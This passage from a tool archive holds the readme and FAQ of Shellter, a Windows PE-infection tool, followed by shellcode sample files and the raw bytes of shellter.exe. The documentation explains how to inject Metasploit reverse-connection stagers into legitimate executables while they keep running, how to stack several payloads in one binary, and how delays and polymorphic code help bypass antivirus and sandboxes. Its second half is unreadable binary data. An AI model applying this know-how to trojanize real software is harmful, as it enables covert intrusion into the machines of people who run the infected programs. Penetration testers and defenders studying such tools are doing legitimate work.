functionality. In a few words, this feature preserves the original functionality of the infected application without compromising the originality of Shellter in terms of dynamically choosing injection locations based on the execution flow of the target PE file. Furthermore, this feature allows to infect the same binary with more than one payloads. As long as you enable the Stealth Mode feature, you can re-infect the same binary with more payloads of your choice. In this way, you can have multiple payloads running while the application still runs as intended. For example, you can infect the same PE file with a meterpreter_reverse_tcp stager, a meterpreter_reverse_https stager and an another custom payload of your choice. All of them will run independently. ***Important***: When you use Stealth Mode with custom payloads, you need to remember to set the exit function to 'THREAD' in your multi-handler listener, otherwise if the session dies or you decide to kill it, then the process will terminate as well. Also keep in mind that this exit function type is only effective after the connection has been stablished, since this is handled by another stage of the payload. Furthermore, the reverse connection payloads from metasploit by default will only attempt to connect back to the remote host only for a specific number of times, and if that fails then the payload kills the process. In order to keep the same behaviour regarding the amount of connection attempts, and avoid to kill the process in Stealth Mode, Shellter will do a small modification to them so that they will only kill the thread in which the payload is running on, if there are no connection attempts left. For all the reasons mentioned above, it is recommended that when you enable Stealth Mode, and you want to use reverse connection payloads, to use those embedded in Shellter. Other payloads, like the command-execution ones, are not affected by this issue, since the exit function type is actually effective on the generated payload itself when you set it in metasploit before generating the raw payload. [11] What is Thread Context Aware polymorphic code? ==================================================== This feature was introduced in Shellter v3.0 in order to enhance polymorphism in the final output. Shellter will break down a given algorithm or code block and will mix its effective instructions with dynamically generated polymorphic code that does not interfere with the logic of the original algorithm. [12] What is Reflective DLL loading? ===================================== Shellter v4.0 introduced support for Reflective DLL loading. This means that you can inject a proper PE built as DLL, that contains a reflective DLL loader function. This function loads the DLL in the address space of the calling process without touching the disk. In Manual mode you will be prompted to enter the required information for this feature. If you want to use this feature in Auto mode, then you need to use command line arguments. Specifying --reflective tells to Shellter that the submitted payload must be handled accordingly. The function name is important as this refers to the exported reflective loader function name. Shellter needs this information to know where to redirect the execution so that the reflective loader can take over the loading process when the time comes. [13] What about self-modifying code? ===================================== Shellter is capable of recognizing self-modifying code and exclude those locations from the available locations for shellcode injection, based on the execution flow previously logged. This is important in order to avoid injecting your shellcode into a location where the code gets modified on runtime, which will break your shellcode. Shellter will always perform these checks during the filtering stage either if you choose to check for self-modifying code on runtime or not. There is only one exception where the self-modifying code detection during filtering might fail. This is in case the modified code, is changed back to its original state before filtering the execution flow logs. In order to avoid this issue, you can configure Shellter to notify you during tracing immediately after stepping over the first instruction being part of self-modifying code. You can then stop the tracing and use the already logged execution flow path. However, as already mentioned if you use legitimate and not packed applications , which is what you should use Shellter with, you will hardly find any cases of self-modifying code, but even if you do Shellter can handle this for you quite well either during tracing or later during the filtering stages. [14] What about relocations? ============================= Shellter, will disable dynamic ImageBase in the target executable in order to avoid breaking your shellcode in case you inject it in an area where fixups would normally occur during process loading. I might add a more sophisticated support for relocations in the future. [15] What about Multi-Thread Applications? =========================================== Shellter is capable of keeping track of all the new threads created and trace the executed instructions. Tracing all the threads is optional, and must be activated by the user in manual mode, but it is enabled by default in Auto mode from version 4.0. Shellter will always notify the user when a new thread has been created, or terminated. From version 5.3, if the user chooses to only trace the main thread, or log dynamic thread context information to later use Dynamic Thread Context Keys, Shellter will exit the tracing stage once a new thread is created in order to provide more accurate execution flow filtering results and more reliable injection locations. [16] what about Anti-Reversing tricks? ======================================= -When running Shellter under Wine this feature is disabled for compatibility reasons.- Usually non-packed applications don't implement anti-reversing or anti-debugging tricks. However, Shellter is able to eliminate some basic debugging artifacts. Currently Shellter clears the following PEB members: PEB.IsBeingDebugged PEB.NtGlobalFlag Even though tracing code that implements such tricks is not what Shellter was built for, I might add support for more of them in the future. [17] What if the target process dies during tracing? ===================================================== Shellter will notify you about this and will give you the option to use the already logged execution flow. In fact, you can kill the target process from task manager, without affecting Shellter. [18] What if an internal engine related error occurs? ====================================================== Shellter will notify you about this, by displaying a proprietary error message and a Windows related error code. Shellter will still give you the option of using the already logged execution flow. You can choose to notify the author about this. [19] How do execution flow filters work? ========================================= Once tracing has finished, or stopped by the user or for any other reason, Shellter will trigger the 1st stage filtering. During this stage all unnecessary logs will be eliminated in order to enhance the 2nd stage filtering that performs more complex checks over the logged execution flow. The 2nd stage filtering takes in consideration various parameters such as the size of the polymorphic code added, the size of the actual payload, the execution flow, etc... An additional, 3rd filtering stage was introduced in Shellter v4.0 and it is triggered when the user enables the 'Dynamic Thread Context Keys' feature (see [8]). [20] How much time does it need for tracing and log filtering? =============================================================== Tracing time depends of the amount of instructions that the user wants to trace, and of course the code complexity, and the power of the CPU. Generally, code that makes frequent Calls to Windows APIs that need to jump into Kernel back, will inevitably need more time to trace than code that doesn't. Shellter will also treat instructions with REP prefixes differently than others, in order to avoid keep stepping on them until ECX == 0. This is done in order to enhance tracing speed on code that makes frequent use of those instructions,and of course in order to avoid filling the tracing logs with unnecessary duplicates that would be removed anyway later during the filtering stage. Finally, choosing to visually see the code running live during tracing, will also slow down the engine since it will be required to disassemble and print every instruction (see 'm' option in next section). It's not a bug, it's a feature! :^P Filtering speed also depends on the CPU capabilities and the complexity of the code. [21] What options does Shellter provide? ========================================= Read the Version_History.txt for more information about the most recent changes. Shellter will select automatically the compatible tracing engine, whether you run it in a native Windows host or in Wine/Crossover. Shellter offers two main modes of operation as described below. Auto Mode: ----------- Auto Mode supports command line. Run Shellter with -h argument to see more information about it. If command line is not used, the following options must be set individually by the user: a) Select target executable. b) Choose to enable Stealh Mode. c) Payload details. When operating in Auto mode, Shellter will trace a random number of instructions for a maximum time of approximately 30 seconds in native Windows, and for 60 seconds inside Wine. If Auto mode is used without command line, the following features/options are automatically set as follows: i) Traces all threads in the target. ii) Handles all payloads as encoded. iii) Automates usage of encoded-payload handlers (section 6). iv) Encodes the payload using Shellter's proprietary polymorphic encoder. v) Obfuscates the generated decoder. vi) Obfuscates the chosen IAT handler. vii) Generates and binds junk polymorphic code. viii) Doesn't show real-time tracing. Manual Mode: ------------- a) Choose target executable. This will host your shellcode. b) Choose if you want to gather thread context information or not. c) Choose number of instructions to trace. d) Choose to detect self-modifying code on tracing. d.1) If option 'd' is enabled you can choose to pause tracing if self-modifying code is detected. d.2) If option 'd.1' is enabled you can choose to stop tracing if self-modifying code is detected. e) Trace just the main or all of the threads if more than one are created during tracing. This option is disabled if user enables option 'b'. f) Show real time tracing. g) Choose to enable Stealth Mode h) Select Payload from the list or a custom. i) Choose to encode the payload using Shellter's encoder. j) Choose to specify a User Defined Encoding Sequence. k) Choose to encode the payload using DTCK if option 'b' was enabled. l) Choose to obfuscate the generated decoder. m) Enable encoded payload handling or not. l.1) Choose between IAT Handlers or Section's Characteristics modification. l.2) If IAT Handlers are used (see [6]), the user can also choose to bind them with extra polymorphic code (see [11]). n) Choose User/Engine Polymorphic code. n.1) If the user creates his own polycode and option 'b' was enabled, he can take advantage of the logged thread context information. This feature is currently available only in Manual mode. o) Show Disassembled Entries. p) Select address to inject your shellcode. [22] What is the purpose of the verification stage? ==================================================== Once injection has been completed successfully, Shellter will run the target PE in order to verify that the execution flow will reach indeed the first instruction of the injected code. If polymorphic code and/or a decoder generated by Shellter have been used, then this refers to those and not to the first instruction of the effective payload. This test will run for a maximum time of 10 seconds. If user interaction is required in order for the execution flow to reach that instruction, then this test will not be able to perform the verification unless you perform the necessary interaction with the application. However, this does not mean that the injection process has failed. So, in any case you should always verify the infected executable before it is used. [23] System Requirements ========================= It is recommended that you use Windows XP SP3 (32/64-bit) and above. * CPU: The better the faster. It's only a matter of time and processing speed. * RAM: Tracing 1 million instructions without Thread Context logging => ~ 6 MBs Tracing 1 million instructions with Thread Context logging => ~ 28 MBs Tracing 10 million instructions without Thread Context logging => ~ 40 MBs Tracing 10 million instructions with Thread Context logging => ~ 270 MBs [24] What should I do if I want to send feedback? ================================================== Send an email with 'Subject: Shellter Feedback' to ShellterProject@hotmail.com and I will be happy to go through it. Please don't send emails complaining about stupid things, like the colour of the fonts etc.. ...alright for the sake of Internet trolling, you can send those emails, but most probably I will not have the time to troll back. [25] What should I do if I want to report a bug? ================================================= Send an email with 'Subject: Shellter Bug' to ShellterProject@hotmail.com and I will be happy to go through it. Please include: 1.- Target Executable. 2.- Configuration used. 3.- Target Executable after injection. 4.- Was the polymorphic code generated by you? 5.- Was the payload, encoded or not, or any additional decryption stub for it created by you? 6.- Which encoded payload handling method you used (VirtualAlloc, VirtualProtect etc..) 7.- Was Stealth Mode enabled? 8.- See point '2' again and ensure that you have included everything. :O) Any information provided by you will not be made public. It will only be used in order to troubleshoot Shellter, and it is necessary in order to determine if there is really a 'bug' in Shellter or there was something wrong done by the user. [26] What should I do if I don't like it? ========================================== Delete it. Remember, that's for free too! Enjoy, kyREcon shellter/docs/faq.txt0000644000175000017500000000442512561176266014521 0ustar sophiesophie 1) Does the execution flow return to normal after executing the payload? ========================================================================= Shellter V (v5.0) introduces the Stealth Mode feature which preserves the original functionality of the application while it keeps all the benefits of dynamic PE infection. As mentioned also below, when you use the Stealth Mode feature you need to set the payload exit function to 'Thread', when you prepare the multi-handler listener in metasploit, otherwise the process will be terminated when you kill the session. For more information on how to use Stealth Mode effectively, please read the readme.txt document. 2) Does the process die after the payload is executed? ======================================================= This actually depends on how the payload behaves. If you use the Stealth Mode feature, then you must always set the exit function for the payload to 'Thread' so that it won't kill the process when it returns. In this case the process will still run. If you don't use the Stealth Mode feature, then if the exit function is set to 'Process', the payload will kill the process, otherwise the program will most probably crash. Keep in mind that this will happen after the execution of the payload, or after killing the reverse connection, so in any case this doesn't affect the effectiveness of the injected code. For more information on how to use Stealth Mode effectively, please read the readme.txt document. 3) How long does it take to execute the payload? ================================================= Normally, this happens instantly, unless you have injected into a point in the execution flow that requires user interaction with the application in order to be reached. Furthermore, when junk polymorphic code is used then this delays the execution of the payload. In Stealth Mode the delay is not significant. However, when Stealth Mode is not used the execution of the effective payload can be delayed by several seconds. This delay is good in order to bypass AV emulation engines and sandboxes that normally only monitor the process for a limited time. You don't have to use this feature if you don't want to. However, it can significantly contribute towards AV evasion.shellter/Executable_SHA-256.txt0000644000175000017500000000010013623334652016065 0ustar sophiesophieea07a52eca82b6383c7aa224652e55e0d1701f0779def736977ecadff819049cshellter/shellcode_samples/0000755000175000017500000000000013021311064015715 5ustar sophiesophieshellter/shellcode_samples/calcenc0000644000175000017500000000034612316116642017246 0ustar sophiesophie{[2ЈCIu{{{J)K)w)o St1]JJGyW[vz),)k9Gz;1z+3c#[zG2OzJJ׺vzCx@_##_zw0#gzz?__ "!*#$!i&z{{{+J-愮G}q~qh5gLx2;T>-^a}* Z=TdԶ& _KOaϟڭr:hkB xVshellter/shellcode_samples/calc0000644000175000017500000000031012150167306016546 0ustar sophiesophie`1dR0R Rr(J&11d[*-Jq עL1X=iQzJ1PWܲͳ"Fdrjs[&Pt7Ew ,uRhe!2QmǷDՌ`A&.|`Q 9T͛ysH#qfy0zJ{1Bd'ι3+^(Vg#&A#sYqr3ޑ4zPshellter/shellcode_samples/info.txt0000644000175000017500000000044312561214726017431 0ustar sophiesophieThese are set to kill the process after execution, so don't use them to evaluate Stealth Mode. calc: Launch Calc.exe - No Encoding calcenc : Launch Calc.exe - Custom Encoding krb1: Launch Calc.exe - Metasploit Single Encoding krb3 : Launch Calc.exe - Metasploit Triple Encodingshellter/shellter.exe0000644000175000017500000250700013623333752014600 0ustar sophiesophieMZ@ !L!This program cannot be run in DOS mode. $:͌~~~sB8s|esC߾w0q~Fksx}Rich~PEL٩M^  Dz@ " @` p& L0@(.text} `.rdataZ.0@@.data2 @.rsrcp&` ( @@.relocL N@ @BUQ3E]UQ3E]U친AJhDZ]U칠AJchDZ]U치AJ# hDhZ]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UjAJ]UjAJ衋]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]UQ3E]hDWYhDWYjjh=J=Jh#DWYVWt]=Jύp 5jV=J$VE@h-DwWY_^ù=J>=Jh7DUWYjjhP>J>JhAD6WYVW\P>J迄jVP>J$VEʇhKDWY_^á>Jt?J>JHx?J>Jù>JthUDVYù?J^h_DVYhiDVYù?J<hsDVYU"F3ʼnEEPj(DPDu2^ kDPMQjDt?E kDjjjMQjURDDt22M3yN]UE ]U]UEu E0UUEEMUE}uE+EEMME]UQ}uEEMQU REP| EE]UQ}uEEMQU REPM EE]UEM ]UQMETEE]UQMETE]UME;Eu EEE]UQMMEt MQTE]UQME]UQME@]UQMEMUE BE]UVMMPMtMoMe;u EEE^]UQMEPM QMYE]U ME PMQUREMB ЋW]UMMPMvtM;E u EEE]UQMMETEE]UQMXE]UMEE P5zE}tMMEXEURMEEE]UQMM!Et MQRE]UQMMQ]UQMMETEE]UQMXE]UME} uhXEM EEEM QURMEEE]UQMM!Et MQQE]UQMM]UQMM1ETEE]UQMXE]UMEE PxE}tMMEXEURM EEE]UQME Pxt4PM QMWE+PU RM>E]U츜AJ]U츘AJ]UQEE} tMUUE E E]UQMED]UQME]UQMMAUEǀ<Mǁ@UǂDEǀHMǁLUǂPEǀTMǁXUǂ8Eǀ\Mǁ`UƂdEƀeMƁfj2UgRh*EPh*MQE]U"F3ʼnEMMEEǀHjMQMWUHEHujhYEMCFEMQUREHQU REPDujhYEMM3F]UMEHt%MHUEPMMǁH]U"F3ʼnEMEEEPj2MgQUREPDujh(YEMN M<E M UfuMdt'EPMQU RME}u kU g=tPkEgt5kMgtkU g=u7}uMQURE PM{EMLELEMLEL3M3D]U"F3ʼnEMEEEPj2MgQUREPDujh8YEMfMuPkMgu+Mgu E<U EMfuEdt'UREPM QM:E}u kMgtPkU g=t6kEgtkMgu7}uEPMQU RMEELULEELUL3M3B]UQMkU g=uU g$u2]UMh*EPh*MQEEEEUgEM<E 3ҋEMQU8ЉEMMUft&MQU©RE<UPMMdu E<U+E EMMUE<U3ɋUEPM8҉EEEMQUREPMQMЅujhEPMQU©RE<UPMcMeu(&jMGtEEEEE] U"F3ʼnEMEEPjMgQU RMPDujhHYEM2h*EPVMgU􉊙E<U3ɋU􉂝EPM8EEEt2}?},UEDMME UU뽋EMDUM3m?]UME;Et2E MMU;UsEU ;t2]U"F3ʼnEMEXYEEP DuHjhjjjhMQDU`E`tM`RDjhjjjhEPDM`U`u Mg2hEjEPhh5FM`RtDtE`QDM!jhdYEMmU`PD2M3=]UQMEǀ\MǁXhtYEDU\E\ujhYEM2QhYEM\RDMXUXtEMX8jhYEM2]UME<t%M<UEPDMǁ<U@t%E@MURiDEǀ@MDt%UDEMQ8DUǂDM ]UMMPMjjM:EPME]UQMjjM ]UMM;E sMM+E EE;EsMMU;UuE EPM_M QjMBjURMAt-MQMnE PMbP URME] UQMEPPMQM`]UQME@]U MEulMyrcUEMQURM} vE PMQPUR EHQUREPMXMAU RM]UQME]UQMMaE]UQMME]UMExrMRCEEEE]UQMEPMȅt U RMM+QURM=jE PM8ȅt%U REPMaP M QME]UQMEH;MsMURME]U MEH;MsMUB+E;E wMQMZF} v@MEEUB+E EM+MQUU REP MQME]UMEEMHURM^EP]U MM;EsMEH;MsUBPMQMJU t2}s,EM;HsUU EHMURjM}u jM8}v EEE]UQM}t M{9ErMnMA;Ew2]UQMhEWg]UQMh Eeg]UQMME]UQME PMQMI]UQME@MAE]UMEPMk4E}w E MME]UjhDdPQ$"F3ʼnESVWPEdeMEEM};EsMMRE3ҹUJ;w8UrMF+ƋM9AwUBMAE M!EEURME؋EPM)EЋMЉMgeUUEEPMUEԋMQME̋ỦUjjM\jjeb-@EE.@EE} vE PMPMQ+ jjMUREPMQMUEBM QM?@Y?@t?@UME EEMyIAU+9UE EEMU; EE MUU}E$@@MM UE 3 UU E `MM UM UU M =UU EM+ EE MUU E ыUU E 0] I:@@]@@@@@@Ul"F3ʼnEMM fAUǂ EиEEEEEEEEEEXEہEEݐEސEߐEE%yH@M+ȉMU ujEPjMQ**%yH@kU kU tkE u%*%yH@kU 뫸kU kD\*%yH@U M kE ;t0E tE u%)%yH@M 끋Uǂ Eǀ U Xk DиM k T EE0EEEEEEEEEEEE(EEEEEEE 0LU D U (D E LE1EEEE)EEăEEEǃEEEE˅E̐E͐EΐEϐM TĹkE LċEǀ jhMM U ujhYEM2jE PjMQ'jU RjEP'jM QjUR&jEPjM R&E U E M UU}EE MUU}E$H@M u:jURjE U Q=&E U 8jEPjM E R&M E 3M u:jURjE U Q%E U 8jEPjM E R%M E M u:jURjE U Q?%E U 8jEPjM E R%M E 8jMQjU M P$U M UE j URj E U Q|$E U E MjURjE Q;$U+ EjMQjU M DP$EjM RM荵E}ujhZEM2]E QU PM REP#M UEPv"Mǁ UE M3]E@!F@F@G@U8"F3ʼnEMEEEXjM䋑 RM说E}ujhZEM觿2jEPjMQ"U䋂 PM䋑 RE䋈 QUR"E䋈 MԋUR~!Eǀ MU E䋈 U䉊 EEEEEEEEEEMƁ URjE䋈 QU䋂 PM虪MM䉁 MU䉂 MM䉁 MNU䉂 E䋈 U䉊 MM䉁 M7U䋊 TU܋E܋ U܉ EjE䋈 QME}ujh(ZEM2kM TM䋑 RE䋈 QU䋂 PMQ j URj E䋈 UD P M䋑 UȋEPMǁ MUE M)M+ EU䋂 M䋑 DEjMQjURG E䋈 QMU䋂 PM)MU  E䉐 EjM䋑 RM虱E}ujh8ZEM葼2E䋈 QU䋂 PM䋑 REPM QURE PMU REE؋MQd}u E E#UUEEPM>M䋑 RMM3|]U8M%yH@kM kM tAkU t)kE E ;u% %yH@kM 낋MNEME؋MxEE UUE؃9E}jMMU<uVkU MMUDME܋E%yH@M+ȉM܋UUEM܉ ?%yH@M E tkE tSE E ;t*M kE ;u(%yH@M UU tM UE MкE XUUEЈ M tE MU EMMUEEU MMUE؋MTUȸkU MMȈU tM UE M̺E UUËLMEMME؋MEMMMh*U RMM UǂǂEE EEԉEM;MUUE E왋MU RE щEԋUUE}uNMtU)t E1u3U U ȋEEPO}uIMu=UUB|.MMQM EEP]UQME]UQME]UQME]UQME]UQME ]UQMEǀ<jMQM.U<]UQMEǀ@jMQMU@]UQMEǀDj@MQM讪UD]UQMEL]UQMEML]UQMEMP]UQMEH]UQME<]UQME@]UQMED]UQME]UQME]UQME]UQMEǀD jMQM.UD ]UQMEǀH jMQMUH ]UQMED ]UQMEH ]UQMMEǀp Mǁt Uǂx Eǀ| j M QUǂ Eǀ E]U$VMMNME EE MMU;U }VEM<tHUU EEM;M }#UEMu;u EM̋UU뙋EPMVEMgE}ujhHZEMO2EE MMU;U })EM<tUEMu UUƋEEMQ#}u E E#UUEEPM]ME}ujh\ZEM蝱2OE MMU;U}EMUuۋEPMMQME^]UVMEM'EEME}t}ujhpZEMEEMQ}u E E#UUEEPMLME}ujhZEM茰NLE MMU;U}EMUuEEEPMEE2^]U0VMMNME􉰤 EE MMU;U}VEM<tHUU EEM;M}#UEMu;u EM̋UU뙋EPMVEMgEMQM8EME}t}ujhZEM+2iEE UUE;EMU<EMUukEkMUu  kMkUEu LLkUkEMu TTkEkMUu D D kMkUEu LLkUkEMu TTEE9MM܋URr}u E E#EEEM M؋UR=}u E E #E EE MQMwMEURM`ME }t} ujhZEM蚭2E EEM;MUEMu kUkEM ukEkMU uDD kMkUE uLLkUkEM uT T kEkMU uDD kMkUE uLLRURMPEPMdE^] U(VMMEMsEMEME}t}t }t}ujhZEMSEEMQn}u E E#UUEEEMQ9}u E E#UUEEPMsMQMgMEME}t}ujhZEM薫E UUE;EMUEukMkUEu  kUkEMuTTkEkMUuDD kMkUEuL L kUkEMuTTkEkMUuDD REEEEMQM-EEEE2^]U MM/EEM=E}ujhZEME2}M9EM[MU +ȋU| Eǀp MQ DUp Ep tlMǁt U| PjMp RDMt Ut t.Et U| +A Mt BMx 2]U MEME}ujhZEM02MaM+ȉMUǂp EP DMp Up t`Eǀt MQjUp PDMt Ut t(Et U+Q Et QEx 2]U0VMEEjE PMJEEMEMME܃}t}u M\EE MMU;U }[EPMQUREPMQURM/ t2MQURMX tMUEuMM딋UUEP }u E E#MMEURMEPMMQMkEME}t MKu E UUE;Es5MUEuMUPMQMЅuDB뺋EEMQ}u E E#UUEEjhZEM2^] UDVMEEjEPM:EEjMQM"EEMEM%EЃ}t }t}u C>M.EE UUE;EMQUREPMQUREPMȅUREPM" ȅUEMu kUkEMu kEkMUu DD kMkUEu LLkUkEMu T T kEkMUu DD kMkUEu LLUUEEMQ }u E E#UUEE E܋MQ}u E E #U UE EPMMQMURMEPMkEMEE MJE }tM9t} u RME MMU;UEMUukEkMU u kMkUE uLLkUkEM uTTkEkMU uD D kMkUE uLLkUkEM uTTEMREPMMȅu|z1UU؋EPR}u E E#MMEUUԋEP}u E E#MMEEjh [EM詢2^]UDVMEEjEPMjEEjMQMREEMEMUEЃ}t }t}u ZUM^EE UUE;EMQUREPMQUREPM-ȅUREPMRȅURM MUEukMkUEu  kUkEMu TTkEkMUu DD kMkUEu L L kUkEMu TTkEkMUu DD MMUUEP#}u E E#MMEU U܋EP}u E E #M ME URMEPMMQMURMEM5EE McE }tMRt} u RME EEM;MUEMu kUkEM ukEkMU uDD kMkUE uLLkUkEM uT T kEkMU uDD kMkUE uLLUE QURMfu|z1MM؋URk}u E E#EEEMMԋUR6}u E E#EEEEjh [EMž2^]UH"F3ʼnEMEM UE+EEMMME UUE;Es%MU ;ErMU ;Ew2ʋMXEEMjEԃ}t3}t-M;Mw%U;Ur EE9Ev MM9Mr2kMFEE܋MXẼ}t3}t-U;Uw%E;Er MM9Mv UU9Ur2EjEPMwE}ujh4[EMo2MMMЍUREPMQUREPDujhH[EM22E M؃M؋U;U}WEEU;t9MMȋUR#}u E E#EEE2BMЃM똋UUċEP}u E E#MMEM3]U ME PMȅu!Uǂp Eǀt 2Mx UUEp tQMt tEUt Mt @JTUE;EwMǁp Uǂt Eǀp Mǁt 2]UVMEME}ujhX[EMo2Eǀ j M QMEMEkUE ;MrUkUE ;MwFkUEM; t1kEkMu M E kMUD ;ErXkMUD ;EwHkMUEL ; t2kUkEuT E U kEMT;UrXkEMT;UwHkEMUD; t2kMEuL U M kUEL ;MrWkUEL ;MwGkUEMT ; t1kEUuD M E kMUD ;ErXkMUD ;EwHkMUEL ; t2kUkEuT E U kEMT;UrXkEMT;UwHkEMUD; t2kMkUuL U M EU t2^]UQME@8]UQME]UQMM%EǀMǁUǂEǀMǁUǂEǀMǁUǂEǀMǁUǂEƀMǁUǂEǀMǁUǂEǀMǁUǂEǀMǁUǂEǀMǁUǂEǀMǁUǂ EǀMǁUǂEǀ3ɋUf 3Mf"Uǂ$Eǀ(Mǁ,Uǂ0Eǀ4E]UjhDdP"F3ʼnEPEdMEhM P4DEǀjhjjjhM PDM艁U胺u*jhh[EM蘕EEMEEEPM苑R(DE}u}t }vDjhx[EM;E苈QDUǂEEMkEEEMSEMd YM3w]UQMEǀjjjjjMQ8DUEujh[EM脔2]UQMEǀjjjjMQ,DUEujh[EM&2]UQMEQDUPDMaP0Dujh[EMǓ2]UMEǀMǁUƂEǀMǁUǂ0EQ DU0E0u }M0Buj h[EM M2gM0B= tjh[EMےM25M0B@MU0HBUE0fQfUE%fEM ujh[EMgMO2EU0M}tjh[EM*M2U0MP(E0UAPMBEEM苟EMd Y]UjhDdP4"F3ʼnEPEdMEEjhjjjhMPDE}uTEEPMQ(DE܃}r}u }v"UE܉ M䋑 RMXEMx MċMEPMEM]EPMEjURMtEЃ}u4jh\EMEPDEEM7EEjMQUREPMQDDu4jh\EMURDEEMEYE䃸l u4jh\EM]MQDEEM蠝EU܉UE ẼE̋MU;x }"E䋈l UUȋE̊  UȃUNjE䋈l MUREǀl MUЉl EMĉx U䃺l t"EPDEEMEfjh\EMv~MQDEEM蹜E5}t URDjh\EM5~EEM肜EڋMd YM3]U(MME} MTEPMجMEPMTEMx MEjURMrE}ujh\EMx}50}t El ujh\EMM} E MMU;U}EEMM݋EEMQ<}u E E#UUEEEE MMUE;x }"Ml EEM EENjMl U؋EPMǁl UEl MUx El tjh]EM>|Mf2]U "F3ʼnEMEPEMx UEjEPMpE}ujh]EM{2jMQjUREx QUl PMx REPMl UEPMUl Ex Ux MnEEPMMEMQM"M3]UQSM]XMMl []U "F3ʼnEMEx Ux Ex QUl PMx REl Q3fUjEPjMl Ex RM3]UMMPM E ̉ePEMEMuMUt EPM?ȅuUt PDeMYPMPMPMt RMu*Ml UEPMǁl ]UMEl Q@Du%Ul EMQ2Uǂl ]UX"F3ʼnEMEEPMQ(DEEE}w }t}tjh(]EMxjURM[mE}ujh8]EMSxjEPMQUREPDDujhH]EMxniEMQ DE܃}ujhX]EMw;6U+UŰE܃^+EẺEM!E؋MEԋM܁+MM̉MċUB^u}}MM3fEE}t }tEEtpM;MwU;UvEEu=MMԋUEE;EuM;MtEUUEE@Mtjhh]EMvURDM5P DjhjjjhMPDE}u EEEuMuUU E+E؉EjMQUREPMQtDujhx]EM@vUUEP[}u E E#MMEURDCEEMQ}u E E#UUEEPDM}t5MMȋUR}u E E#EEE}t MQD2M3]UMEPMQMw@PMGjjM苔8ERjEPMvE]UMMPMjjM:E]UME;EtZMQMPURM֔P@t%3t!jjMURM誔PMAEPM5E]UQMEPMM]UQM8EPjMQMu]UMEPMQ:PME]UQMEPMME]UEPM E]UQMEPM E]UQME]UQE PMQ/Ѕu EEE]UQE PMPMQMP ]U]UQMEL]UQMMagE@8YEhM'EM/'EM$&EM,&E}uhJF kPjj>JH>JE]h0^EeȅjjlDPdDhT^Ehp@=JPBh`^Ehp@=JPAh^Ehp@=JdPAhp@hp@h^Ehp@=J=PA-&j jlDPdDjHURjkEEEE&YEEE'YEEEEEEEEEEEEE6YEE7YEEEFYEEEGYEEEEEEEVYEEEEƅ}ƅ|ƅ~ƅ{}uRh_EU  Prt h_EU  PRuMx}u2h _EU  PuMÛ@}u2h,_EU  PuM軓}~EƅvE MMU;U h4_EEM R肼u!ƅEPMQTL h8_EUE QFuƅv# h<_EUE QuEb hL_EUE QuE9 hP_EUE Q˻UtE9E|MU DPPPxPxu⋍P+U}~ }~M|Eb EEMU EE_ hT_EMU PthX_EMU Pֺu=MօtEEEEEƅ|ƅ}E hd_EUE Q~UtE9E|MU DXXXwXwu⋍X+00U}~ }~ME EEMU Ehh_EMQ踹tCh_EUR裹t.h_EEP莹th_EMQyU9U|ME Lh_EEM TR8uh_EEM T RtME; EM TTTE0h`EMU DPstM EMU D\\4\s\su⋍\+4,,UЃ}~ }~MNEEM TŰEEEh`EMU P襵uEh$`EMU P|uEYh0`EMU PS ƅ|EEM9M|~UUEM dd$dtdtu⋅d+$ll~lqUE {\EM lL}?j URalPMU Pj MQٲE UUl9EMT xt;EL!t.UD+t!MT -tME}ELxu UD߃xtNMT !u EL߃!t4UD+u MT ߃-tEL-u+UD߃+ulQMEUUEEh<`EMU PuEEEQhD`EMU PuE(hT`EMU P躲M9M|UE QMEUtEEh``EMU DP[uMMEƅ}EShd`EUE LQ uUUEEXEM TRMEhl`EEM Rɱ{t}|h|`EMU DP蓱tjM*EM9M|jM EUUEM Uƅ{EEE}h`EEM RuETh`EEM R~t M9M|h`EUE LQ覰uUUƅ~EVh`EEM TRouEEƅ~EMU DPMbEhMU PMBEH^hp@hp@hp@=JMt|uMIEEt}uMHEUt:Et2Mu Ut EPHu҃Lj M?h`Ehp@=JPV2Muh`Eh=J<2Uuh`Eh=J"2EuMth`Eh=J2hp@hp@hp@=JtmfjM>hp@h`Ehp@=JCP13hp@hp@hp@=J j M>E{ƅM ЅtEPMQFSEEEEEEEEEEEEEEURHuAL}tWuMMDDtjDj Dž EjjlDPdDE܋Md Y_^M3"]UQMEPjMQJ ]UQMM!Et MQ蛪E]UQMM]UQMM]UQMMy]UMEPM hPMgjjM&gMQmnPME]UQM8EPjMQMe]UQMEPSPMQM]UMExu EEE]UQMEMAE]UQMM1]UME8t MU EEE]UQME3ɋUfJE]UjhDdPQ,"F3ʼnESVWPEdeMEEE@@ jMQMEMЅu EEE܋UQ(EċM=EԋEԉEEȍMQURot M؃M3U܋MHڬEЋM M܋QA M܉QA jjU܋MH@EEjMQU܋MHuMMEME̋Md Y_^[M3聟]UMEx8u MMUUE PMQM<]UQM}tE PM EPM]UjhDdPQ"F3PEdMEPMEM QU MAEEMd Y]UQME@]UMEMUMHt*MUEUQEEMBЋ]UMMEU}|}vMP EEMBЉEE]UMM_EU}|}vMPEEMEEEPMQЅt E M)EEEE]UQMEPU]UM}u EEUQUEPUE]UjhPDdPQH"F3ʼnESVWPEdeMEEPMEMȅUREUQkEEEEMQ,EEME}u EUMHMԋUMH"EߋMMJ诨EċEPMQUREPMHQREPME̋Mȅt U؃UjjEUQM@EEjEPMMJ!EEEM,EȋMd Y_^[M3-]UMExsMQREPMQ'M $UREPMQM`fUEMQPEMQPjjM_]UMMO_;E sM"cM:_+E EE;EsMMU8E+B;EwMb}vTMQUUjEPMaȅt3URM_E PM_MAPL URMDaE] UMEPM bȅt U RM_M+QURMnE 8E+H;M wM b} vLUBE EjMQM`Ѕt+E PMQM$_UBPHK EPM`E]UQME8tMR蓥E]UjhDdPQ4"F3ʼnESVWPEdeMEUQMMJatEUQKDE;MMJ"EPMMJ[EЋEЉEEMQ2$EEMEUMHƤEME؋M؉M$UMH蠤EԋME̋M̉M'EčUREPȅtjjUMHY.'MQRjHMEEuyjjMMJ@EEEUQ+tjjMMJ2Md Y_^[M3]UQME@@]UMEMUEMMJWt(EMUMH;EMMBЋE]UMMEU}|}vMSPMEEMBЉEE]UQMEH]UMEH,EH,UBMUBUBE]UMEH,EH,UBMUBME]UMEH9t UB,MEE]UMEH 9t 